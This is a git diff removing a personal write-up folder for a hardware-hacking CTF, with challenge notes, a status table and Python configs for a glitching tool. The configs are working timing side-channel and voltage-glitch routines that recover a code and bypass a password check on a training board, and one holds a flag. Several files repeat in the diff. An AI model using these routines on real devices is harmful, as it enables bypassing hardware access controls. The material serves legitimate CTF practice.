- time.sleep(0.1)
-
- # Start timer and pulse OK (pin 8)
- start_time = time.time()
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
-
- # Wait for input to go HIGH and measure duration
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Use the Arduino-provided LOW duration, fallback to timer if needed
- duration = result.get("duration_ms", int((end_time - start_time) * 1000))
- functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
-
- results[test_pin] = duration
- time.sleep(0.3)
-
- # Select candidate with longest duration (correct digit)
- correct_pin = max(results, key=results.get)
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
- code_sequence.append(correct_pin)
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
deleted file mode 100644
index 01de69c..0000000
--- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
+++ /dev/null
@@ -1,152 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
-
- functions.add_text("[INFO] Starting full code discovery sequence")
-
- for digit_index in range(4):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
- results = {}
-
- for test_pin in candidate_pins:
- # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
- sequence = code_sequence.copy()
- remaining_pulses = 4 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)}")
-
- # Send all pulses in the sequence, starting timer immediately before the fourth pulse
- for i, pin in enumerate(sequence):
- if i == len(sequence) - 1:
- # Start timer immediately before sending the fourth pulse
- start_time = time.time()
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- # Allow a short interval for the device to react
- time.sleep(0.05)
- # Wait for the input to go HIGH and capture result
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Safely extract duration from result or compute fallback
- if isinstance(result, dict):
- duration = result.get("duration_ms",
- int((end_time - start_time) * 1000))
- else:
- duration = int((end_time - start_time) * 1000)
-
- functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
- results[test_pin] = duration
- else:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- # small pause between candidates
- time.sleep(0.8)
-
- # Choose the candidate with the longest duration for this digit
- correct_pin = max(results, key=results.get)
- code_sequence.append(correct_pin)
-
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
-
-def stop_glitch():
- functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
-|[x]|3|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
-|[x]|4|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
-|[x]|5|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
-|[x]|6|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
-|[x]|7|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
-|[x]|8|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
-|[x]|9|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
-|[x]|10|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
-|[ ]|11|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
-|[x]|12|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
-
-## The Board
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB.png b/Misc/12Sec_CTF_V1/docs/01_GoB.png
deleted file mode 100644
index 323ad56..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py b/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
deleted file mode 100644
index 19bd20d..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_GoB_config.py
+++ /dev/null
@@ -1,50 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-UART_NEWLINE = ""
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['1', False, "", 'one'],
- ['2', False, "", 'two'],
- ['3', False, "", 'three'],
-]
-
-######
-# Custom functions
-######
-
-# Toggle states for each function
-toggle_state_one = 0
-toggle_state_two = 0
-toggle_state_three = 0
-
-def one():
- global toggle_state_one
- functions.send_uart_message("1")
- functions.send_uart_message(str(toggle_state_one))
- toggle_state_one = 1 - toggle_state_one
-
-def two():
- global toggle_state_two
- functions.send_uart_message("2")
- functions.send_uart_message(str(toggle_state_two))
- toggle_state_two = 1 - toggle_state_two
-
-def three():
- global toggle_state_three
- functions.send_uart_message("3")
- functions.send_uart_message(str(toggle_state_three))
- toggle_state_three = 1 - toggle_state_three
-
diff --git a/Misc/12Sec_CTF_V1/docs/01_setup.png b/Misc/12Sec_CTF_V1/docs/01_setup.png
deleted file mode 100644
index 2620b36..0000000
--- a/Misc/12Sec_CTF_V1/docs/01_setup.png
+++ /dev/null
Binary files differ
diff --git a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py b/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
deleted file mode 100644
index 2671dec..0000000
--- a/Misc/12Sec_CTF_V1/docs/02_GoB_config.py
+++ /dev/null
@@ -1,7 +0,0 @@
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 31250
-
diff --git a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py b/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
deleted file mode 100644
index 0ee78c6..0000000
--- a/Misc/12Sec_CTF_V1/docs/07_GoB_config.py
+++ /dev/null
@@ -1,44 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', True], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-### name, enabled, string to match ###
-conditions = [
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py b/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
deleted file mode 100644
index 1185630..0000000
--- a/Misc/12Sec_CTF_V1/docs/08_GoB_config.py
+++ /dev/null
@@ -1,108 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-LENGTH = 10
-REPEAT = 10
-DELAY = 10
-
-###
-# ^ = pullup, v = pulldown
-###
-triggers = [
- ['-', False], #0
- ['^', False], #1
- ['-', False], #2
- ['-', False], #3
- ['-', False], #4
- ['-', False], #5
- ['-', False], #6
- ['-', False], #7
-]
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- functions.run_output_low(0, 3000)
- functions.run_output_low(1, 3000)
- functions.run_output_low(2, 3000)
- functions.run_output_low(3, 3000)
-
-def button_ok():
- functions.run_output_high(0, 15000000) # Can also run_output_low() if needed
- functions.set_trigger_value(0, True)
- functions.run_output_low(0, 3000)
-
- last_state = functions.get_trigger_value(0)
- start_time = time.time()
-
- while True:
- current_state = functions.get_trigger_value(0)
-
- # Detect rising edge: 0 → 1
- if last_state == 0 and current_state == 1:
- functions.set_trigger_value(0, False)
- functions.add_text("[code check complete]")
- break
-
- # Exit if 1 second has elapsed
- if time.time() - start_time >= 1.0:
- functions.add_text("[timeout: no input detected within 1 second]")
- break
-
- last_state = current_state
- time.sleep(0.01) # Polling interval (10 ms)
-
-
-def button_dash():
- functions.run_output_high(1, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(1, 3000)
-
-def button_space():
- functions.run_output_high(2, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(2, 3000)
-
-def button_dot():
- functions.run_output_high(3, 1500000) ## can also run_output_low() if need too
- functions.run_output_low(3, 3000)
-
-
-def echo_trigger_state():
- for channel in range(8):
- state = functions.get_trigger_value(channel)
- if state == 1:
- functions.add_text(f"Channel {channel}: HIGH")
- else:
- functions.add_text(f"Channel {channel}: LOW")
-
-def stop_glitch():
- elapsed = functions.get_glitch_elapsed()
-
- functions.set_trigger_value(1, False)
- functions.set_uart_switch(False)
-
- functions.glitching_switch(False)
- functions.add_text(f"[auto] glitching stopped (elapsed: {elapsed})")
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py b/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
deleted file mode 100644
index 94c453d..0000000
--- a/Misc/12Sec_CTF_V1/docs/09_GoB_config.py
+++ /dev/null
@@ -1,155 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- """
- Discover a five-digit code by sending candidate pulses and measuring the
- interval from sending OK (pin 8) until input goes HIGH using wait_for().
-
- For each digit:
- - Send one pulse for previously found digits.
- - Send repeated pulses of the candidate digit to fill 5 pulses.
- - Pulse OK (pin 8) to trigger the device.
- - Measure duration using wait_for() for input HIGH.
- - Select candidate with the longest LOW duration before HIGH.
- """
- candidate_pins = [9, 10, 11]
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "Space", 10: ".", 11: "-"}
-
- button_ok()
- functions.add_text("[INFO] Pulsing output pin 8 to reset device...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- functions.add_text("[INFO] Starting full code discovery sequence...")
-
- for digit_index in range(5):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}...")
- results = {}
-
- for test_pin in candidate_pins:
- # Build sequence: previously found digits + candidate repeated
- sequence = code_sequence.copy()
- remaining_pulses = 5 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)} ...")
-
- # Send sequence pulses (without timing)
- for pin in sequence:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.1)
-
- # Start timer and pulse OK (pin 8)
- start_time = time.time()
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
-
- # Wait for input to go HIGH and measure duration
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Use the Arduino-provided LOW duration, fallback to timer if needed
- duration = result.get("duration_ms", int((end_time - start_time) * 1000))
- functions.add_text(f"[RESULT] Pin {test_pin} - LOW->HIGH {duration} ms.")
-
- results[test_pin] = duration
- time.sleep(0.3)
-
- # Select candidate with longest duration (correct digit)
- correct_pin = max(results, key=results.get)
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
- code_sequence.append(correct_pin)
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py b/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
deleted file mode 100644
index 01de69c..0000000
--- a/Misc/12Sec_CTF_V1/docs/10_GoB_config.py
+++ /dev/null
@@ -1,152 +0,0 @@
-######
-# LEAVE THESE IMPORTS!
-######
-from arduinIO import ArduinoController
-import functions
-import time
-
-######
-# config values
-######
-
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 9600
-
-######
-# arduinIO values
-######
-ARDIO_PORT = "/dev/ttyACM2"
-ARDIO_BAUDRATE = 115200
-ARDIO_INPUT_PIN = 2
-ARDIO_OUTPUT_PINS = [8, 9, 10, 11] # ok, space, dot, dash
-ARDIO_PULSE_DURATION_MS = 300
-
-arduino = ArduinoController(port=ARDIO_PORT, baudrate=ARDIO_BAUDRATE)
-arduino.connect()
-
-###
-# name, enabled, string to match
-###
-conditions = [
- ['rdy', False, "", 'setup_buttons'],
- ['ok', False, "", 'button_ok'],
- ['dash', False, "", 'button_dash'],
- ['spce', False, "", 'button_space'],
- ['dot', False, "", 'button_dot'],
- ['check', False, "", 'echo_trigger_state'],
- ['run', False, "", 'find_code'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-######
-# Custom functions
-######
-def setup_buttons():
- version = arduino.get_version()
- functions.add_text(f"[INFO] Connected to Arduino: {version}")
-
- # Configure pins
- functions.add_text("[INFO] Configuring pin modes...")
- arduino.set_mode(ARDIO_INPUT_PIN, "INPUT")
- for pin in ARDIO_OUTPUT_PINS:
- arduino.set_mode(pin, "OUTPUT")
- arduino.set_default(pin, "LOW")
-
- # Display current configuration
- pinmap = arduino.get_pinmap()
- functions.add_text(f"[INFO] Pin map: {pinmap}")
-
-
-def button_ok():
- # Pulse one output pin
- functions.add_text(f"[INFO] Pulsing output pin 8 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(8, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dash():
- functions.add_text(f"[INFO] Pulsing output pin 11 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(11, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_space():
- functions.add_text(f"[INFO] Pulsing output pin 9 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(9, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def button_dot():
- functions.add_text(f"[INFO] Pulsing output pin 10 for {ARDIO_PULSE_DURATION_MS} ms...")
- arduino.set_for(10, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
-
-def echo_trigger_state():
- state = arduino.get_state(ARDIO_INPUT_PIN)
- functions.add_text(f"[INFO] Input pin {ARDIO_INPUT_PIN} is currently {state}")
-
-def find_code():
- candidate_pins = [8, 9, 10, 11] # include pin 8 as a candidate
- code_sequence = []
- pin_to_symbol = {8: "OK", 9: "*", 10: ".", 11: "-"}
-
- functions.add_text("[INFO] Starting full code discovery sequence")
-
- for digit_index in range(4):
- functions.add_text(f"[INFO] Finding digit {digit_index + 1}")
- results = {}
-
- for test_pin in candidate_pins:
- # Build the sequence: previously found digits + candidate repeated to fill 4 pulses
- sequence = code_sequence.copy()
- remaining_pulses = 4 - len(sequence)
- sequence += [test_pin] * remaining_pulses
- symbol_seq = [pin_to_symbol.get(pin, str(pin)) for pin in sequence]
- functions.add_text(f"[TEST] Testing candidate pin {test_pin} ({pin_to_symbol.get(test_pin)}), "
- f"sequence: {' '.join(symbol_seq)}")
-
- # Send all pulses in the sequence, starting timer immediately before the fourth pulse
- for i, pin in enumerate(sequence):
- if i == len(sequence) - 1:
- # Start timer immediately before sending the fourth pulse
- start_time = time.time()
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- # Allow a short interval for the device to react
- time.sleep(0.05)
- # Wait for the input to go HIGH and capture result
- result = arduino.wait_for(ARDIO_INPUT_PIN, "HIGH")
- end_time = time.time()
-
- # Safely extract duration from result or compute fallback
- if isinstance(result, dict):
- duration = result.get("duration_ms",
- int((end_time - start_time) * 1000))
- else:
- duration = int((end_time - start_time) * 1000)
-
- functions.add_text(f"[RESULT] Candidate pin {test_pin} - LOW->HIGH {duration} ms.")
- results[test_pin] = duration
- else:
- arduino.set_for(pin, "HIGH", ARDIO_PULSE_DURATION_MS)
- time.sleep(0.5)
-
- # small pause between candidates
- time.sleep(0.8)
-
- # Choose the candidate with the longest duration for this digit
- correct_pin = max(results, key=results.get)
- code_sequence.append(correct_pin)
-
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (pin): {correct_pin}")
- functions.add_text(f"[INFO] Digit {digit_index + 1} identified (symbol): "
- f"{pin_to_symbol.get(correct_pin)}")
-
- translated_sequence = [pin_to_symbol.get(pin, str(pin)) for pin in code_sequence]
- functions.add_text(f"[INFO] Full code sequence identified (pins): {code_sequence}")
- functions.add_text(f"[INFO] Full code sequence identified (symbols): {translated_sequence}")
-
- return code_sequence, translated_sequence
-
-def stop_glitch():
- functions.set_uart_switch(False)
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py b/Misc/12Sec_CTF_V1/docs/11_GoB_config.py
deleted file mode 100644
index f7e8036..0000000
--- a/Misc/12Sec_CTF_V1/docs/11_GoB_config.py
+++ /dev/null
@@ -1,123 +0,0 @@
-import functions
-import threading
-import time
-
-###### Config values ######
-SERIAL_PORT = '/dev/ttyUSB0'
-BAUD_RATE = 1000000
-UART_NEWLINE = "\n"
-
-LENGTH = 12
-REPEAT = 1
-DELAY = 0
-
-### name, enabled, string to match ###
-conditions = [
- ['run', True, 'Password:', 'try_glitch'],
- ["Flag", True, "TS{", "stop_glitch"],
-]
-
-###### Custom functions ######
-def try_glitch():
- Len = functions.get_config_value("length")
- Rep = functions.get_config_value("repeat")
- Del = functions.get_config_value("delay")
- time.sleep(0.2)
-
- tx_thread = threading.Thread(
- target=functions.send_uart_message,
- args=("aaaaaaaaaaaaaaaaaaaaa",),
- daemon=True
- )
-
- glitch_thread = threading.Thread(
- target=functions.start_glitch,
- args=(Len, Rep, Del),
- daemon=True
- )
-
- glitch_thread.start()
- tx_thread.start()
-
- try:
- current_delay = int(Del)
- except (ValueError, TypeError):
- current_delay = 0
-
- try:
- current_repeat = int(Rep)
- except (ValueError, TypeError):
- current_repeat = 0
-
- new_delay = current_delay + 1
-
- if new_delay >= 51:
- new_delay = 0
- new_repeat = current_repeat + 1
- if new_repeat >= 20:
- new_repeat = 1
- functions.set_config_value("repeat", new_repeat)
-
- functions.set_config_value("delay", new_delay)
-
-
-def stop_glitch():
- buf = functions.read_uart_buffer()
-
- if "TS{D@mn_y0u_@r3_g006}" in buf:
- functions.start_glitch(16, 1, 0)
- else:
- functions.set_condition_value(0, False)
- functions.set_uart_switch(False)
-
-
-###### Inactivity watchdog ######
-def config_inactivity_monitor(timeout=5):
- """
- Monitor 'delay' and 'repeat' configuration values.
- Restart device if they do not change for 'timeout' seconds
- AND condition 0 remains True.
- """
- # Wait for functions.config to be initialised
- while True:
- try:
- _ = functions.get_config_value("delay")
- break
- except AttributeError:
- print("[Watchdog] Waiting for configuration to initialise...")
- time.sleep(1)
-
- last_delay = functions.get_config_value("delay")
- last_repeat = functions.get_config_value("repeat")
- last_change_time = time.time()
-
- while True:
- try:
- current_delay = functions.get_config_value("delay")
- current_repeat = functions.get_config_value("repeat")
- condition_active = functions.get_condition_value(0)
-
- if str(current_delay) != str(last_delay) or str(current_repeat) != str(last_repeat):
- last_change_time = time.time()
- last_delay = current_delay
- last_repeat = current_repeat
-
- if condition_active and (time.time() - last_change_time > timeout):
- print("[Watchdog] Inactivity detected. Restarting glitch...")
- functions.start_glitch(16, 1, 0)
- last_change_time = time.time()
-
- except Exception as e:
- print(f"[Watchdog Error] {e}")
-
- time.sleep(1)
-
-
-# Start watchdog thread after slight delay to allow initialisation
-def start_watchdog():
- time.sleep(2) # ensures 'functions.config' is ready
- monitor_thread = threading.Thread(target=config_inactivity_monitor, daemon=True)
- monitor_thread.start()
-
-
-threading.Thread(target=start_watchdog, daemon=True).start()
diff --git a/Misc/12Sec_CTF_V1/01.md b/Misc/12Sec_CTF_V1/01.md
deleted file mode 100644
index 89bf312..0000000
--- a/Misc/12Sec_CTF_V1/01.md
+++ /dev/null
@@ -1,27 +0,0 @@
-# **Challenge 1: "Serial Snitch"**
-
-As a skilled hardware hacker, you've intercepted a mysterious device recovered from a rogue tech syndicate. The device, dubbed **"Specter-1"**, controls access to a secret underground server, but its interface remains locked behind an unknown UART configuration.
-
-Your mission is clear:
-
-1. **Identify the UART pins** you've uncovered during your investigation.
-2. **Determine the correct baud rate** to establish a stable connection.
-3. **Access the device’s command interface** and unlock control over the system’s lighting grid.
-
----
-
-## Findings
-
-#### setup
-
-
-
-#### notes
-
-The baudrate was a standard one, simply connecting the right wires using the corect baudrate I was able to gain access (and the flag)
-
-Of course I made a glitch-o-bolt config for this: [01_GoB_config.py](docs/01_GoB_config.py)
-
-It looks as follows:
-
-
\ No newline at end of file
diff --git a/Misc/12Sec_CTF_V1/README.md b/Misc/12Sec_CTF_V1/README.md
deleted file mode 100644
index 689c199..0000000
--- a/Misc/12Sec_CTF_V1/README.md
+++ /dev/null
@@ -1,25 +0,0 @@
-12Sec CTF - PwnPad v1.0
-===============
-
-This is where I am storing my documentation and solutions for the PwnPad CTF.
-
-## Status
-
-|done|#|Name|Topics|Description|
-|---|---|---|---|---|
-|[x]|1|Serial Snitch|`#UART`|Intercept and decode UART communication.|
-|[x]|2|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
